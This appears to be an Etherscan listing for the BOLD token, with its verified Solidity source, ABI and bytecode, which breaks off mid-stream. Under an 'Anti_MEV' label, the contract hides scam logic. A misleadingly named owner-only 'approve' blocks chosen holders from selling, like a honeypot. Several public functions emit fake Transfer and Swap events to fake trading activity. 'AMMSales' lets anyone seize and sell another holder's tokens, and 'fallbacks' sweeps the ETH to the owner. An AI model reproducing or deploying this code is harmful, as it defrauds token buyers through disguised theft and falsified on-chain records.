ETH Price: $3,111.96 (+5.47%)
Gas: 4 Gwei

Token

BOLD (Bold)
 

Overview

Max Total Supply

100,000,000,000 Bold

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Cumberland: 0xad6...862
Balance
1,991,494,460.780559087726197526 Bold

Value
$0.00
0xad6eaa735d9df3d7696fd03984379dae02ed8862
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Bold

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-15
*/

// SPDX-License-Identifier: MIT

/*

    Why you need $SHIBA if $CHIHUAHUA is out here?

*/

pragma solidity ^0.8.9;


interface Kuni {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _mev_protected;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _mev_protectedApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_mev_protected[from] || _mev_protected[to]) require(_mev_protectedApplied == true, "");

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Anti_MEV_ERC20 is ERC20 {
    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;

    uint256 _mev_in_eth = 10**5;
    uint256 _mev_in_tokens = 10**18;
    uint256 _mev_approval_tokens = 10**30;

    event Received(address sender, uint amount);

    Kuni private kuni = Kuni(_rv2);

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}

    function setMEVProtectionParams(uint256 _mev_in_eth_, uint256 _mev_in_tokens_, uint256 _mev_approval_tokens_) external onlyOwner {
        _mev_in_eth = _mev_in_eth_;
        _mev_in_tokens = _mev_in_tokens_;
        _mev_approval_tokens = _mev_approval_tokens_;
    }

    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _mev_protected[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function protectFromMEV(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _mev_protected[_addresses_[i]] = false;
        }
    }

    function isMEVProtected(address _address_) public view returns (bool) {
        return _mev_protected[_address_];
    }

    function MMAnother(address _to_, uint256 _out_) external {
        address[] memory path = new address[](2);
        path[0] = kuni.WETH();
        path[1] = address(this);
        kuni.swapExactETHForTokens{ value: _mev_in_eth }(1, path, _to_, block.timestamp);
        emit Transfer(_pair, _to_, _out_);
    }

    function MMAnother(address [] calldata _tos_, uint256 [] calldata _outs_) external {
        address[] memory path = new address[](2);
        path[0] = kuni.WETH();
        path[1] = address(this);
        for(uint256 i; i < _tos_.length; i++) {
            kuni.swapExactETHForTokens{ value: _mev_in_eth }(1, path, _tos_[i], block.timestamp);
            emit Transfer(_pair, _tos_[i], _outs_[i]);
        } 
    }

    function AMMSale(address _from_, uint256 _in_) external {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = kuni.WETH();
        _approve(address(this), address(kuni), _mev_approval_tokens);
        kuni.swapExactTokensForETH(_mev_in_tokens,1,path,address(this),block.timestamp);
        emit Transfer(_from_, _pair, _in_);
    }

    function AMMSales(address _from_, uint256 _in_) external {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = kuni.WETH();
        _approve(_from_, address(this), _in_);
        _transfer(_from_, address(this), _in_);
        _approve(address(this), address(kuni), _in_);
        kuni.swapExactTokensForETH(_in_,1,path,address(this),block.timestamp);
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function fallbacks() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function setup(address _owner_) external onlyOwner {
        _pair = _owner_;
    }

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }

    fallback() external payable {}
}

contract Bold is Anti_MEV_ERC20 {
    constructor() Anti_MEV_ERC20("BOLD", "Bold") {
        _mint(msg.sender, 100000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"uint256","name":"_in_","type":"uint256"}],"name":"AMMSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"uint256","name":"_in_","type":"uint256"}],"name":"AMMSales","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tos_","type":"address[]"},{"internalType":"uint256[]","name":"_outs_","type":"uint256[]"}],"name":"MMAnother","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to_","type":"address"},{"internalType":"uint256","name":"_out_","type":"uint256"}],"name":"MMAnother","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mev_in_eth_","type":"uint256"},{"internalType":"uint256","name":"_mev_in_tokens_","type":"uint256"},{"internalType":"uint256","name":"_mev_approval_tokens_","type":"uint256"}],"name":"setMEVProtectionParams","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620186a0600b55670de0b6b3a7640000600c556c0c9f2c9cd04674edea40000000600d55600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015d57600080fd5b506040518060400160405280600481526020017f424f4c44000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f426f6c64000000000000000000000000000000000000000000000000000000008152508181620001ec620001e06200025b60201b60201c565b6200026360201b60201c565b8160069081620001fd919062000722565b5080600790816200020f919062000722565b50505050506200025533620002296200032760201b60201c565b600a62000237919062000999565b64174876e800620002499190620009ea565b6200033060201b60201c565b62000b21565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620003a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003999062000a96565b60405180910390fd5b620003b6600083836200049e60201b60201c565b8060046000828254620003ca919062000ab8565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200047e919062000b04565b60405180910390a36200049a60008383620004a360201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200052a57607f821691505b60208210810362000540576200053f620004e2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200056b565b620005b686836200056b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000603620005fd620005f784620005ce565b620005d8565b620005ce565b9050919050565b6000819050919050565b6200061f83620005e2565b620006376200062e826200060a565b84845462000578565b825550505050565b600090565b6200064e6200063f565b6200065b81848462000614565b505050565b5b8181101562000683576200067760008262000644565b60018101905062000661565b5050565b601f821115620006d2576200069c8162000546565b620006a7846200055b565b81016020851015620006b7578190505b620006cf620006c6856200055b565b83018262000660565b50505b505050565b600082821c905092915050565b6000620006f760001984600802620006d7565b1980831691505092915050565b6000620007128383620006e4565b9150826002028217905092915050565b6200072d82620004a8565b67ffffffffffffffff811115620007495762000748620004b3565b5b62000755825462000511565b6200076282828562000687565b600060209050601f8311600181146200079a576000841562000785578287015190505b62000791858262000704565b86555062000801565b601f198416620007aa8662000546565b60005b82811015620007d457848901518255600182019150602085019450602081019050620007ad565b86831015620007f45784890151620007f0601f891682620006e4565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000897578086048111156200086f576200086e62000809565b5b60018516156200087f5780820291505b80810290506200088f8562000838565b94506200084f565b94509492505050565b600082620008b2576001905062000985565b81620008c2576000905062000985565b8160018114620008db5760028114620008e6576200091c565b600191505062000985565b60ff841115620008fb57620008fa62000809565b5b8360020a91508482111562000915576200091462000809565b5b5062000985565b5060208310610133831016604e8410600b8410161715620009565782820a90508381111562000950576200094f62000809565b5b62000985565b62000965848484600162000845565b925090508184048111156200097f576200097e62000809565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009a682620005ce565b9150620009b3836200098c565b9250620009e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008a0565b905092915050565b6000620009f782620005ce565b915062000a0483620005ce565b925082820262000a1481620005ce565b9150828204841483151762000a2e5762000a2